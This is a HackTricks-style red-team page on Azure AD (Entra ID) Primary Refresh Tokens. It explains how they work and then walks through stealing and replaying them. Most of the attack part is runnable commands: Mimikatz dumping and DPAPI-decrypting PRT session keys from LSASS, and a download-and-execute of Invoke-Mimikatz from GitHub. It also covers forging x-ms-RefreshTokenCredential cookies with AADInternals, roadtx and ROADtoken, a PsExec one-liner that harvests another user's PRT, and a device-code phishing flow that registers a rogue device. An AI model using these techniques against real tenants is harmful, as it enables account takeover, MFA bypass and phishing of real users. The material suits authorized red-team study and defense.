Az - Primary Refresh Token (PRT)

Reading time: 19 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

What is a Primary Refresh Token (PRT)?

A Primary Refresh Token (PRT) is a long-lived refresh token used in Azure AD (Entra ID) authentication, analogous to a Kerberos TGT. It is issued upon user login on an Azure AD-joined device and can be used to request access tokens for various applications without re-prompting credentials. Each PRT is accompanied by a session key (also called a Proof-of-Possession key) -- a symmetric key used to sign requests and prove the client has the PRT. The PRT itself is an opaque, encrypted blob (not readable by the client), while the session key is used to sign a JWT containing the PRT when requesting tokens. In other words, possession of the PRT alone is insufficient; an attacker needs the session key to prove legitimacy, similar to needing both a Kerberos TGT and its session key for authentication.

On Windows, the PRT and session key are cached in the LSASS process via the CloudAP plugin. If a device has a TPM (Trusted Platform Module), Azure AD binds keys to the TPM for extra security. This means on TPM-equipped devices, the session key is stored or used within the TPM such that it cannot be directly read from memory under normal circumstances. If no TPM is available (e.g. many VMs or older systems), the keys are kept in software and protected with DPAPI encryption. In both cases, an attacker with administrative privileges or code execution on the machine can attempt to dump the PRT and session key from memory as part of post-exploitation, and then use them to impersonate the user in the cloud. Unlike typical refresh tokens (which are usually application-specific), a PRT is broader, allowing your device to request tokens for almost any Entra ID-integrated resource or service.

How Does a PRT Work?

Here's a simplified breakdown of how a PRT operates:

  1. Device Registration:

    • When your device (like a Windows laptop or mobile phone) joins or registers with Entra ID, it authenticates using your credentials (username/password/MFA).

    • Upon successful authentication, Entra ID issues a PRT bound specifically to your device.

  2. Token Storage:

    • The PRT is securely stored on your device, often protected by hardware features like the Trusted Platform Module (TPM), ensuring that it's difficult for unauthorized parties to extract or misuse.
  3. Single Sign-On (SSO):

    • Each time you access an Entra ID-protected application (e.g., Microsoft 365 apps, SharePoint, Teams), your device silently uses the stored PRT to request and obtain a specific access token for that app.

    • You don't need to enter your credentials repeatedly because the PRT transparently handles authentication.

  4. Renewal and Security:

    • PRTs have a long lifetime (typically around 14 days), but are continually renewed as long as your device is actively in use.

    • If your device becomes compromised or lost, administrators can revoke your PRT remotely, immediately blocking unauthorized access.

Why are PRTs Powerful?

  • Universal Access: Unlike typical tokens limited to one app or resource, a PRT can facilitate access to all Entra ID-integrated services.

  • Enhanced Security: With built-in hardware protections (like TPM), PRTs ensure secure token storage and usage.

  • User Experience: PRTs significantly improve the user experience by reducing frequent authentication prompts and enabling true seamless SSO.

How to know if a PRT is present?

  • Check if PRT is present:
bash
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • Check if protected by TPM:
bash
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM. 

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Pass the PRT

According to this post on Windows devices without TPM binding, the PRT and its session key live in LSASS (CloudAP plug‑in). With local admin/SYSTEM on that device, the PRT blob and the DPAPI‑encrypted session key can be read from LSASS, the session key decrypted via DPAPI, and the signing key derived to mint a valid PRT cookie (x‑ms‑RefreshTokenCredential). You need both the PRT and its session key—the PRT string alone isn’t enough.

Mimikatz

  1. The PRT (Primary Refresh Token) is extracted from LSASS (Local Security Authority Subsystem Service) and stored for subsequent use.
  2. The Session Key is extracted next. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: HackTricks and for an understanding of its application, refer to Pass-the-cookie attack.
  3. Post decryption of the Session Key, the derived key and context for the PRT are obtained. These are crucial for the creation of the PRT cookie. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible here.
bash
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

The PRT field contains the encrypted refresh token (typically base64 string), and KeyValue in the ProofOfPossessionKey is the DPAPI-encrypted session key (also base64).

Then, from the sekurlsa::cloudap output, copy the base64 blob from KeyValue inside the field ProofOfPossessionKey (this is the session key encrypted with DPAPI). This encrypted key cannot be used as-is – it must be decrypted using the system’s DPAPI credentials.

Because DPAPI encryption for system secrets requires the machine’s system context, elevate your token to SYSTEM and use Mimikatz’s DPAPI module to decrypt:

bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

The token::elevate will impersonate SYSTEM and the dpapi::cloudapkd command with /unprotect will use the DPAPI master key to decrypt the provided KeyValue blob. This yields the clear-text session key and also the associated Derived Key and Context used for signing:

  • Clear key – the 32-byte session key in plaintext (represented as a hex string).
  • Derived Key – a 32-byte key derived from the session key and a context value (more on this below).
  • Context – a 24-byte random context that was used when deriving the signing key for the PRT cookie.

note

If this doesn't work for you to impersonate the user, check the following section using AADInternals.

Then, you can also use mimikatz to generate a valid PRT cookie:

bash
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz will output a signed JWT (the PRT cookie) after the line “Signature with key”, which contains the PRT and is signed using the derived key. This JWT can be copied and then used in a web session. For example, an attacker can open a browser, go to login.microsoftonline.com, and set a cookie named x-ms-RefreshTokenCredential with the value being this JWT. When the browser refreshes or navigates, Azure AD will treat the session as authenticated (the PRT cookie is presented as if SSO occurred), and it will issue an authorization code or access token for the specified resource. In practice, one would navigate to a resource like Office 365 or Azure portal; the presence of a valid PRT cookie means Azure AD will grant access without additional login (bypassing MFA, since the PRT is already authenticated).

You could also use roadtx and roadrecon with the PRT of the PRT cookie to impersonate the user (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).

Mimikatz + AADInternals

The AADInternals PowerShell module can also be used with the previously obtained PRT and session key to generate a valid PRT token. This is useful for automating the process of obtaining a new PRT token with nonce, which can be used to fetch access tokens for Azure AD Graph API or other resources:

bash
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.

Mimikatz + roadtx

  • Renew the PRT first, which will save it in roadtx.prt:
bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Now we can request tokens using the interactive browser with roadtx browserprtauth. If we use the roadtx describe command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
bash
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:

bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Abusing protected PRTs

Despite the mentioned protections, an attacker who has already compromised a device (as a local user or even SYSTEM) can still abuse the PRT to obtain fresh access tokens by leveraging Windows' own token broker APIs and security components. Instead of extracting the raw PRT or key, the attacker essentially "asks" Windows to use the PRT on their behalf. In the sections below, we outline currently valid techniques for abusing PRTs and their session keys on up-to-date Windows devices where TPM protections are in effect. All these techniques assume post-exploitation access on the target machine, and focus on abusing built-in authentication flows (no unpatched vulnerabilities needed).

### Windows Token Broker Architecture and SSO Flow

Modern Windows handles cloud authentication via a built-in token broker stack, which includes components in both user mode and LSASS (Local Security Authority). Key pieces of this architecture include:

  • LSASS CloudAP Plugin: When a device is Azure AD joined, LSASS loads cloud authentication packages (e.g. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) that manage PRTs and token requests. LSASS (running as SYSTEM) orchestrates PRT storage, renewal, and usage, and interfaces with the TPM to perform cryptographic operations (like signing a PRT challenge with the session key).

  • Web Account Manager (WAM): The Windows Web Account Manager is a user-mode framework (accessible via COM/WinRT APIs) that allows applications or browsers to request tokens for cloud accounts without prompting for credentials. WAM acts as a broker between user applications and the secure LSASS/TPM-backed PRT. For example, Microsoft's MSAL library and certain OS components use WAM to silently acquire tokens using the logged-in user's PRT.

  • BrowserCore.exe and Token Broker COM interfaces: For browser SSO, Windows includes a component called BrowserCore.exe (located under Windows Security\BrowserCore). This is a native messaging host used by browsers (Edge, Chrome via an extension, etc.) to obtain a PRT-derived SSO token for Azure AD login. Under the hood, BrowserCore leverages a COM object provided by MicrosoftAccountTokenProvider.dll to retrieve a PRT-based cookie/token. In essence, this COM interface is a first-party "token broker" API that any process running as the user can obscall to get an SSO token (provided the user has a valid PRT in LSASS).

When an Azure AD joined user tries to access a resource (say, the Azure Portal), the flow is typically: an application calls into WAM or BrowserCore's COM interface, which in turn communicates with LSASS. LSASS uses the PRT and session key (secured by TPM) to produce an SSO token -- often called a PRT cookie -- which is then given back to the application or browser. The PRT cookie is a special JWT containing the encrypted PRT and a nonce, signed with a key derived from the PRT's session key. This cookie is sent to Azure AD (in an x-ms-RefreshTokenCredential header) to prove the device and user hold a valid PRT, allowing Azure AD to issue standard OAuth refresh and access tokens for various applications. Notably, any Multi-Factor Authentication (MFA) claim present in the PRT will be carried into tokens obtained via this SSO process, meaning PRT-derived tokens can satisfy MFA-protected resources.

User-Level Token Theft (Non-Admin)

When an attacker has user-level code execution, the TPM protection of PRT doesn't stop the attacker from obtaining tokens. The attacker leverages built-in Windows Token Broker APIs:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore exposes a COM class (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) to fetch PRT cookies. This COM API is invoked legitimately by browsers (Chrome/Edge extensions) for Azure AD SSO.

bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Returns an Azure AD refresh token or PRT cookie)

ROADtoken will run BrowserCore.exe from the right directory and use it to obtain a PRT cookie. This cookie can then be used with ROADtools to authenticate and obtain a persistent refresh token.

To generate a valid PRT cookie the first thing you need is a nonce.
You can get this with:

bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
    "URI"     = $URL
    "Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Or using roadrecon:

bash
roadrecon auth prt-init

Then you can use roadtoken to get a new PRT (run in the tool from a process of the user to attack):

bash
.\ROADtoken.exe <nonce>

As oneliner:

bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Then you can use the generated cookie to generate tokens to login using Azure AD Graph or Microsoft Graph:

bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Attackers use legitimate Microsoft authentication libraries (MSAL, WAM APIs, WebAuthenticationCoreManager) from user-level processes to silently retrieve tokens leveraging TPM-protected PRT.

bash
execute-assembly aadprt.exe

(Retrieves PRT cookie via COM interfaces)

bash
execute-assembly listwamaccounts.exe

(Lists Azure AD accounts logged in via WAM; identifies token targets)

  • Generic Example (PowerShell with MSAL):
powershell
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Silently gets an access token leveraging PRT)

Administrator / SYSTEM-Level Token Abuse

If the attacker escalates to Administrator or SYSTEM, they can directly impersonate any Azure AD logged-on user and use the same COM/WAM token broker APIs. TPM-protected PRTs do not prevent this legitimate token issuance.

User Impersonation and Token Retrieval

Admin/SYSTEM could impersonate running sessions of other users to invoke BrowserCore or WAM for token generation.

For this just impersonate the user process (e.g., explorer.exe) and invoke the token broker APIs using any technique commented in the previous section.

Direct LSASS & Token Broker Interaction (Advanced)

An administrator can still work with LSASS to abuse the PRT: for instance, an admin could inject code into LSASS or call internal CloudAP functions to prompt LSASS to produce a token. Dirk-jan’s research noted that an admin can “interact with PRT keys in LSASS using crypto APIs”. In practice, this could mean using LSASS’s own functions (via a technique like API hooking or RPC, if available) to generate a PRT cookie. Another approach is to exploit any window where the session key might appear in memory – for example, at the moment of PRT renewal or device registration when it is unencrypted for use. Such attacks are considerably more complex and situational. A more straightforward admin tactic is abusing existing token handles or caches: LSASS caches recently issued refresh tokens for apps in memory (encrypted with DPAPI). A determined SYSTEM attacker could attempt to extract these DPAPI-protected tokens (using the user’s master key, which an admin can obtain) to directly steal refresh tokens for specific applications. However, the easiest and most generic method remains impersonation and use of the documented token broker interfaces, since these guarantee that Azure AD will issue fresh tokens (with all proper claims) rather than trying to crack encryption.

Phishing PRTs

Abuse the OAuth Device Code flow using the Microsoft Authentication Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) and the Device Registration Service (DRS) resource to obtain a refresh token that can be upgraded to a Primary Refresh Token (PRT) after registering a rogue device.

Why this works

  • PRT is device‑bound and enables SSO for (almost) any Entra‑protected app.
  • The Broker client + DRS combination allows a phished refresh token to be exchanged for a PRT once a device is registered.
  • MFA isn't bypassed: the user performs MFA during the phish; MFA claims propagate into the resulting PRT, letting the attacker access apps without further prompts.

Prerequisites:

  • User authentication via Device Code using the Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) and DRS scopes/resource (e.g., 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default or https://enrollment.manage.microsoft.com/).
  • User can register devices in Entra ID (default: allowed, but can be restricted or quota‑limited).
  • No blocking CA policies that disable Device Code or require compliant/hybrid devices for target apps (those won't stop PRT issuance, but will block using it to access protected apps).
  • Attacker‑controlled host to run the flow and hold the tokens/device keys.

Attack Flow:

  1. Initiate Device Code auth with client_id = Broker and DRS scope/resource; show the user code to the victim.
bash
curl -s -X POST \
  "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
  -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
  -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
  1. Victim signs in on Microsoft's site (legit UI) and completes MFA → attacker receives a DRS‑scoped refresh token for the Broker client.

  2. Register a rogue device in the tenant using that refresh token (device object is created and linked to the victim).

  3. Upgrade to a PRT by exchanging the refresh token + device identity/keys → PRT bound to the attacker's device.

  4. (Optional persistence): if MFA was fresh, register a Windows Hello for Business key to maintain long‑term, passwordless access.

  5. Abuse: redeem the PRT (or mint a PRT cookie) to obtain access tokens for Exchange/Graph/SharePoint/Teams/custom apps as the user.

Public Tools and Proof-of-Concepts

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks